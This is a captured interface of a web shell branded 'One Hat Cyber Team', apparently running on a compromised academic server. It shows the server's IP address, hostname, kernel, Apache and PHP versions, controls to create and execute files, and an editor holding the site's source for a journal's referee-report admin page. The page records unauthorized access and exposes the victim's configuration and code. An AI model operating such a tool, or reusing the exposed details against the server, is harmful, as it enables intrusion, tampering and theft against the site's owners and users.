One Hat Cyber Team
Your IP :
216.73.216.24
Server IP :
194.44.31.54
Server :
Linux zen.imath.kiev.ua 4.18.0-553.77.1.el8_10.x86_64 #1 SMP Fri Oct 3 14:30:23 UTC 2025 x86_64
Server Software :
Apache/2.4.37 (Rocky Linux) OpenSSL/1.1.1k
PHP Version :
5.6.40
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
nosc
/
public_html
/
admin
/
Edit File:
show_refereeing_entry_admin.php
<? require_once("functions_admin.php"); ?> <? require_once("functions_users.php"); ?> <? require_once("../login/include/session.php"); ?> <? require_once("../auth/auth.php"); ?> <? if ((!$lang) && ($_POST['lang'])) $lang= $_POST['lang']; if (($id) && (!$_POST['id'])) $_POST['id']= $id; ?> <? if (($_POST['id'])) { $referee = referee($_POST['id']); if (!report_done($referee)) header("Location: "."edit_refereeing_entry.php?id=".$_POST['id']."&lang=".$lang."#recommendation"); } ?> <? require_once("header_users.php"); ?> <? if (($_POST['id'])) { /*echo "<h3>"; echo enruua("Information on the manuscript refereeing", "Сведения о рецензировании рукописи", "Відомості про рецензування рукопису"); echo "</h3>\n"; */ $referee = referee($_POST['id']); if ($referee['id']) {// not empty $revision = revision($referee['revision_id']); $a = article($revision['article_id']); $revnum = show_revision_number($revision); //report $dir_rep = revision_report_dir_name($revision['id']); if (!file_exists($dir_rep)) mkdir($dir_rep, 0700); $dir = $dir_rep."/".$referee['referee_id']; $files=array(); //initialise if (!file_exists($dir)) mkdir($dir, 0700); $dir_handle = opendir($dir); while (false !== ($filename = readdir($dir_handle))) { if ($filename != "." && $filename != ".." && $filename != "index.php") $files[] = $filename; } closedir($dir_handle); $c = count($files); echo "<div class=report_incomplete_summary>\n"; echo "<a name=\"head\"></a>\n"; echo "<h2>\n"; echo enruua("Your report on manuscript", "Ваша рецензия на рукопись", "Ваша рецензія на рукопис").space().number().space() .show_revision_number($revision); echo "</h2>\n"; echo "<P>\n"; echo "<FIELDSET>\n"; echo "<LEGEND>\n"; echo enruua("Information on the manuscript under refereeing", "Сведения о рецензируемой рукописи", "Відомості про рецензований рукопис"); echo "</LEGEND>\n"; echo "<table width=100%>\n"; echo "<colgroup> <col width=3%*> <col width=*> <col width=2%*> <col width=8%*> </colgroup>\n"; echo "<tr>"; echo "<th>".enruua("Manuscript number","Номер рукописи","Номер рукопису")." "; echo "</th>\n"; echo "<th>".enruua("The article to which it corresponds", "Статья, которой соответствует", "Стаття, якій відповідає")."</th>\n"; if (is_valid_date($referee['replied'])) { echo "<th>"; if (!report_done($referee)) echo enruua("Waiting for a report", "Как долго ожидаем рецензии", "Як довго чекаємо на рецензію"); else echo enruua("Report submitted", "Рецензия послана", "Рецензію надіслано"); echo "</th>\n"; } echo "</tr>\n"; echo "<tr>\n"; echo "<td>". show_revision_number($revision)."</td>"; echo "<td>\n". andify(article_authors($a)).": ".quote(article_title($a)) . "</td>\n"; if (is_valid_date($referee['replied'])) { echo "<td>"; if (!report_done($referee)) echo say_how_many_days(days_between_dates($referee['replied'],today())); else echo print_date($referee['report_received']); echo "</td>\n"; } else { //echo enruua("date unknown","дата неизвестна","дата навідома"); } echo "</tr>\n"; echo "</table>\n"; echo "</FIELDSET>\n"; echo "</P>\n"; echo "<P>\n"; if (!report_done($referee)) { echo enruua("You have not yet submitted your report on manuscript", "Вы пока еще не представили Вашу рецензию на рукопись", "Ви поки що не подали Вашу рецензію на рукопис") .space() . number(). space() . show_revision_number($revision)."."; } else { /* echo enruua("You had submitted your report on manuscript", "Рецензию на рукопись", "Рецензію на рукопис") .space() . number(). space() . show_revision_number($revision)." " . enruua("", "Вы представили", "Ви представили"); echo " ".print_date($referee['report_received'],$lang,TRUE); */ echo "</p>\n"; } $qfields = article_report_questionnaire_fields(); $q_valid = array(); foreach ($qfields as $qf) { if ($referee[$qf]) $q_valid[$qf] = $referee[$qf]; } if (count($q_valid)) { echo "<P>"; echo "<A NAME=\"questionnaire\"></A>\n"; echo "<FIELDSET>\n"; echo "<LEGEND>\n"; echo enruua("Report questionnaire", "Анкета рецензии", "Анкета рецензії"); echo "</LEGEND>\n"; echo "<TABLE style=\"width: 100%;\">\n"; echo "<COLGROUP> <col width=70%*> <col width=30%*> </COLGROUP>\n"; foreach ($q_valid as $qf => $q_val) { echo "<TR>\n"; echo "<TD>\n"; echo article_report_code_description($qf); echo "</TD>\n"; echo "<TD>\n"; echo "<b>".article_report_code_meaning($referee[$qf],$qf)."</b>"; echo "</TD>\n"; echo "</TR>\n"; } echo "</TABLE>\n"; echo "</FIELDSET>\n"; echo "</P>"; } echo "<P>"; if (1) { echo "<A name=\"recommendation\"></A>\n"; echo "<FIELDSET id=\"recommendation\">\n"; echo "<legend>\n"; echo enruua("Your recommendation", "Ваша рекомендация", "Ваша рекомендація"); echo "</legend>\n"; echo "<p>"; echo enruua("Your recommendation concerning manuscript", "Ваша рекомендация относительно рукописи", "Ваша рекомендація щодо рукопису").space().number().space() .show_revision_number($revision).enruua(" is",":",":"); echo "</p>"; // echo "<p>"; echo "<TABLE width=100%>\n"; echo "<COLGROUP> <col width=98%*> <col width=*> </COLGROUP>\n"; echo "<TR>\n"; echo "<TD>\n"; echo emph(recommendation_meaning_display(recommendation_meaning($referee['recommends']))); echo "</TD>\n"; echo "<TD>\n"; if (!$referee['recommends']) echo incomplete_field_logo(); echo "</TD>\n"; echo "</TR>\n"; echo "</TABLE>\n"; echo "</fieldset>\n"; echo "<P>"; echo "</P>\n"; echo "</FORM>\n"; //Files of report echo "<P>"; echo "<FIELDSET>\n"; echo "<LEGEND>\n"; echo enruua("Details of the report", "Подробности рецензии", "Детальна рецензія"); echo "</LEGEND>\n"; echo "<P>"; echo "<FIELDSET id=\"remarks\">\n"; echo "<legend>\n"; echo enruua("Remarks for the authors", "Замечания авторам статьи", "Зауваження авторам статті"); echo "</legend>\n"; $remark_entries = referees_remark_entries($referee); $numrems = mysql_num_rows($remark_entries); if (!report_done($referee)) echo enruua("Here you can add an arbitrary number of remarks and suggestions for the authors of the manuscript", "Здесь можно ввести произвольное количество замечаний и предложений авторам рукописи", "Тут можна довільну кількість зауважень та пропозицій авторам рукопису")."."; elseif ($numrems) { if ($numrems>1) echo enruua("Your remarks on the manuscript", "Ваши замечания по данной рукописи", "Ваші зауваження щодо даного рукопису"); else echo enruua("Your remark on the manuscript", "Ваше замечание по данной рукописи", "Ваше зауваження щодо даного рукопису"); echo ":"; } echo "</p>"; if ($numrems) { if ($numrems>1) echo "<OL>\n"; else echo "<p>\n"; while ($rem = mysql_fetch_array($remark_entries)) { echo "<FORM ACTION=\"update_remark.php\" METHOD=\"POST\">\n"; echo "<INPUT type=\"hidden\" name=\"lang\" value=\"".$lang."\">\n"; echo "<INPUT type=\"hidden\" name=\"id\" value=\"".$referee['id']."\">\n"; if ($numrems>1) echo "<li>\n"; echo "<TEXTAREA rows=4 name=\"remark\" style=\"width: 100%; vertical-align:top;\""; if (report_done($referee)) echo " READONLY"; echo ">"; echo $rem['remark_text']; echo "</TEXTAREA>\n"; if (!report_done($referee)) { echo "<table>"; echo "<tr>"; echo "<td>\n"; echo "<INPUT type=\"hidden\" name=\"remark_id\" value=\"".$rem['id']."\">\n"; echo "<INPUT id=\"save_full\" type=\"submit\" value=\"".enruua("Save", "Сохранить", "Зберегти") ."\">\n"; echo "</td>\n"; echo "</tr>\n"; echo "<tr>\n"; echo "<td>\n"; echo "</FORM>\n"; echo "<FORM ACTION=\"delete_remark.php\" METHOD=\"POST\">\n"; echo "<INPUT type=\"hidden\" name=\"lang\" value=\"".$lang."\">\n"; echo "<INPUT type=\"hidden\" name=\"id\" value=\"".$referee['id']."\">\n"; echo "<INPUT type=\"hidden\" name=\"remark_id\" value=\"".$rem['id']."\">\n"; echo "<INPUT id=\"delete_full\" type=\"submit\" value=\"".enruua("Delete", "Удалить", "Видалити") ."\">\n"; echo "</FORM>\n"; echo "</td>\n"; echo "</tr>"; echo "</table>"; } if ($numrems>1) echo "</li>\n"; } if ($numrems>1) echo "</OL>\n"; else echo "</p>\n"; } elseif ($numrems==1) //should always go here! { echo "<TEXTAREA rows=4 name=\"remark\" style=\"width: 100%;\">"; $rem = mysql_fetch_array($remark_entries); echo $rem['remark_text']; echo "</TEXTAREA>\n"; } else { //echo "<TEXTAREA rows=4 name=\"remark\" style=\"width: 100%;\">"; //echo "</TEXTAREA>\n"; } if (!report_done($referee)) { echo "<FORM ACTION=\"create_remark.php\" METHOD=\"POST\">\n"; echo "<INPUT type=\"hidden\" name=\"lang\" value=\"".$lang."\">\n"; echo "<INPUT type=\"hidden\" name=\"id\" value=\"".$referee['id']."\">\n"; echo "<INPUT type=\"hidden\" name=\"_create_new_remark\" value=1>\n"; echo "<INPUT id=create type=\"submit\" value=\""; if ($numrems) echo enruua("Add one more field", "Добавить еще поле", "Додати ще поле"); else echo enruua("Create a field for a remark", "Создать поле для замечания", "Створити поле для зауваження"); echo "\">\n"; echo "</FORM>\n"; } echo "</FIELDSET>\n"; echo "<P>"; echo "<fieldset>\n"; echo "<legend>\n"; echo enruua("Files of report", "Файлы рецензии", "Файли рецензії"); echo "</legend>\n"; if ($c) { echo "<p>"; echo enruua("You have uploaded to the database", "Вы ввели в базу данных", "Ви ввели у базу даних")." " .say_like_ordinal($c,enruua("file","файл","файл"), enruua("files","файла","файли"), enruua("files","файлов","файлів")) .enruua("", "", "") .". "; echo "</p>\n"; echo "<table>\n"; echo "<tr>\n"; echo "<th>".enruua("File name","Имя файла","Ім'я файла")."</th>"; //echo "<th>".enruua("Last accessed","Дата создания","Дата створення")."</th>"; echo "<th>".enruua("File size","Размер","Розмір")."</th>"; if (!report_done($referee)) echo "<th>".""."</th>"; // foreach ($files as $file) { echo "<tr><td>".file_link(revision_report_dir_name_web($revision['id'])."/".$referee['referee_id']."/".$file) ."</td>"; // echo "<td>" //.print_date(date ("d.m.Y H:i:s", filemtime(revision_report_dir_name($revision['id'])."/".$file))) // ."</td>"; echo "<td>".readable_file_size(revision_report_dir_name($revision['id'])."/".$referee['referee_id']."/".$file) ."</td>"; if (!report_done($referee)) { echo "<td>"; echo "<form action=\"delete_report.php"."\" method=\"post\">\n"; echo "<INPUT type=\"hidden\" name=\"lang\" value=\"".$lang."\">\n"; echo "<INPUT type=\"hidden\" name=\"id\" value=\"".$referee['id']."\">\n"; echo "<INPUT type=\"hidden\" name=\"file_to_unlink\" value=\"".$file."\">"; echo "<INPUT id=\"delete_full\" type=\"submit\" value=\"".enruua("Delete", "Удалить", "Видалити")."\">"; echo "</form>\n"; echo "</td>"; } echo "</tr>\n"; } echo "</table>\n"; }//IF FILES else { echo "<p>"; if (!report_done($referee)) echo enruua("By now, you did not upload any files with your report on this manuscript", "Вы пока что не ввели никакого файла с рецензией на эту рукопись", "Ви на разі не ввели жодного файла з рецензією на цей рукопис"); else echo enruua("You did not upload any files with your report on this manuscript", "Вы не ввели никакого файла с рецензией на эту рукопись", "Ви не ввели жодного файла з рецензією на цей рукопис"); echo ".</p>\n"; } // фалов рецензии нет echo "<p>"; if (!report_done($referee)) { if ($c) echo enruua("In case you would like to upload more files, this can be done by using the form below", "Если Вы желаете добавить какие-либо другие файлы, это можно сделать при помощи расположенной ниже формы", "Якщо Ви бажаєте додати ще які-небудь файли, це можна зробити за допомогою форми, що наводиться нижче"); else echo enruua("In order to submit a file that you prepared to the journal database, you should select its location on your computer and then upload it to our server by pressing the corresponding button.", "Для того, чтобы ввести подготовленный Вами файл в базу данных журнала, нужно указать его месторасположение на Вашем компьютере, а затем нажатием соответствующей кнопки подгрузить этот файл на наш сервер", "Для того, щоб ввести підготовлений Вами файл у базу даних журналу, слід вказати його місцезнаходження на Вашому комп'ютері, а потім натисненням відповідної кнопки підвантажити цей файл на наш сервер"); echo ".</p>\n"; echo "<form enctype=\"multipart/form-data\" action=\"upload_report_file.php\" method=\"POST\">\n"; //<!-- MAX_FILE_SIZE must precede the file input field --> echo "<INPUT type=\"hidden\" name=\"MAX_FILE_SIZE\" value=\"".$_max_file_size."\" />\n"; // <!-- Name of input element determines name in $_FILES array --> echo "<INPUT type=\"hidden\" name=\"lang\" value=\"".$lang."\">\n"; echo "<INPUT type=\"hidden\" name=\"id\" value=\"".$referee['id']."\">\n"; echo "<INPUT name=\"uploaded_file\" type=\"file\">"; echo " <INPUT type=\"submit\" value=\"".enruua("Upload a file", "Подгрузить выбранный файл", "Підвантажити вибраний файл")."\" />\n"; echo "</form>\n"; } echo "</fieldset>\n"; echo "</FIELDSET>\n"; //if (report_done($referee)) { $remark_entries = referees_confidential_remark_entries($referee); $numrems = mysql_num_rows($remark_entries); if ((!report_done($referee)) || $numrems) { echo "<p>\n"; echo "<a name=confidential></a>\n"; echo "<fieldset>\n"; echo "<legend>\n"; echo enruua("Confidential information for the editors", "Конфиденциальная информация для редакции", "Конфіденційна інформація для редакції"); echo "</legend>\n"; echo "<p>"; } if (!report_done($referee)) echo enruua("Here is the place for some confidential remarks which you may want to pass to the editors. This text will not be shown to the authors of the manuscript", "Здесь можно указать замечания конфиденциального характера, которые будут переданы только в редакцию и будут недоступны для авторов рукописи", "Тут можна вказати зауваження конфіденційного характеру, які буде передано лише в редакцію і які будут недоступні для авторів рукопису")."."; elseif ($numrems) echo enruua("You have submitted such a confidential information on the manuscript", "О данной рукописи Вы сообщили в редакцию следующее", "Щодо даного рукопису Ви повідомили в редакцію про наступне").":"; echo "</p>"; if ($numrems) { if ($numrems>1) echo "<OL>\n"; else echo "<p>\n"; while ($rem = mysql_fetch_array($remark_entries)) { echo "<FORM ACTION=\"update_conf_remark.php\" METHOD=\"POST\">\n"; echo "<INPUT type=\"hidden\" name=\"lang\" value=\"".$lang."\">\n"; echo "<INPUT type=\"hidden\" name=\"id\" value=\"".$referee['id']."\">\n"; if ($numrems>1) echo "<li>\n"; echo "<TEXTAREA rows=4 name=\"confidential_remark\" style=\"width: 100%; vertical-align:top;\""; if (report_done($referee)) echo " READONLY"; echo ">"; echo $rem['remark_text']; echo "</TEXTAREA>\n"; if (!report_done($referee)) { echo "<table>"; echo "<tr>"; echo "<td>\n"; echo "<INPUT type=\"hidden\" name=\"remark_id\" value=\"".$rem['id']."\">\n"; echo "<INPUT type=\"submit\" value=\"".enruua("Save", "Сохранить", "Збергти") ."\">\n"; echo "</td>\n"; echo "</tr>\n"; echo "<tr>\n"; echo "<td>\n"; echo "</FORM>\n"; echo "<FORM ACTION=\"delete_conf_remark.php\" METHOD=\"POST\">\n"; echo "<INPUT type=\"hidden\" name=\"lang\" value=\"".$lang."\">\n"; echo "<INPUT type=\"hidden\" name=\"id\" value=\"".$referee['id']."\">\n"; echo "<INPUT type=\"hidden\" name=\"remark_id\" value=\"".$rem['id']."\">\n"; echo "<INPUT id=\"delete_full\" type=\"submit\" value=\"".enruua("Delete", "Удалить", "Видалити") ."\">\n"; echo "</FORM>\n"; echo "</td>\n"; echo "</tr>"; echo "</table>"; } if ($numrems>1) echo "</li>\n"; } if ($numrems>1) echo "</OL>\n"; else echo "</p>\n"; } elseif ($numrems==1) //should always go here! { echo "<TEXTAREA rows=4 name=\"confidential_remark\" style=\"width: 100%;\">"; $rem = mysql_fetch_array($remark_entries); echo $rem['remark_text']; echo "</TEXTAREA>\n"; } else { //echo "<TEXTAREA rows=4 name=\"confidential_remark\" style=\"width: 100%;\">"; //echo "</TEXTAREA>\n"; } if (!report_done($referee)) { echo "<FORM ACTION=\"create_conf_remark.php\" METHOD=\"POST\">\n"; echo "<INPUT type=\"hidden\" name=\"lang\" value=\"".$lang."\">\n"; echo "<INPUT type=\"hidden\" name=\"id\" value=\"".$referee['id']."\">\n"; echo "<INPUT type=\"hidden\" name=\"_create_new_remark\" value=1>\n"; echo "</FORM>\n"; } echo "</FIELDSET>\n"; echo "</p>\n"; } } if (report_done($referee)) { if (days_between_dates($referee['report_received'],today()) <=2) { // echo "sent ". $referee['report_received'] . ", days elapsed: " .days_between_dates(today(),$referee['report_received']); $p = primary_email(person($referee['referee_id'])); $e = email($p); echo "<p>" .enruua("In case you have made a mistake when submitting the report (uploaded a wrong file or chosen an inappropriate recommendation), please", "В случае, если Вы сделали ошибку при отправлении рецензии (ввели не тот файл или неверно указали Вашу рекомендацию), пожалуйста, безотлагательно", "У випадку, якщо Ви зробили помилку при відправленні рецензії (ввели не той файл чи неправильно вказали Вашу рекомендацію), будь ласка, негайно") . " ".mailto($_journal['email'], enruua("let us know", "сообщите в редакцию", "повідомте редакції") , "Mistakes in report on manuscript ".show_revision_number($revision), // $e['email_field'],"", "","", enruua("When submitting my report on manuscript", "При отправке рецензии на рукопись", "Підчас відправлення рецензії на рукопис")." " .show_revision_number($revision).enruua(", "," "," ") .enruua("some mistakes happened. Please cancel that my submission", "были допущены ошибки. Пожалуйста, аннулируйте мою рецензию", "сталися помилки. Будь-ласка, анулюйте мою рецензію").".") .enruua(" as soon as possible", "", "") .".</p>\n"; } } echo "</div>\n"; }//not empty } else { /*tell(enruua("The page has been called with wrong parameters", "Страница вызвана с неверными параметрами", "Сторінку викликано з невірними параметрами")."!"); */ go(manage_my_refereeing()); } //header("Location: ".manage_my_refereeing().""); $location= manage_my_refereeing("?lang=".$lang.""."#".$referee['revision_id']); echo "<p>\n"; echo "<form method=\"post\" action=\"".$location."\">\n"; echo pass("lang",$lang); echo "<INPUT CLASS=\"back\" type=\"submit\" value=\"". enruua("Back to the refereeing page", "Назад на страницу рецензий", "Назад на сторінку рецензій")."\">"; echo "</FORM>\n"; echo "</p>\n"; //go($location); ?> <? require_once("footer_users.php"); ?>
Simpan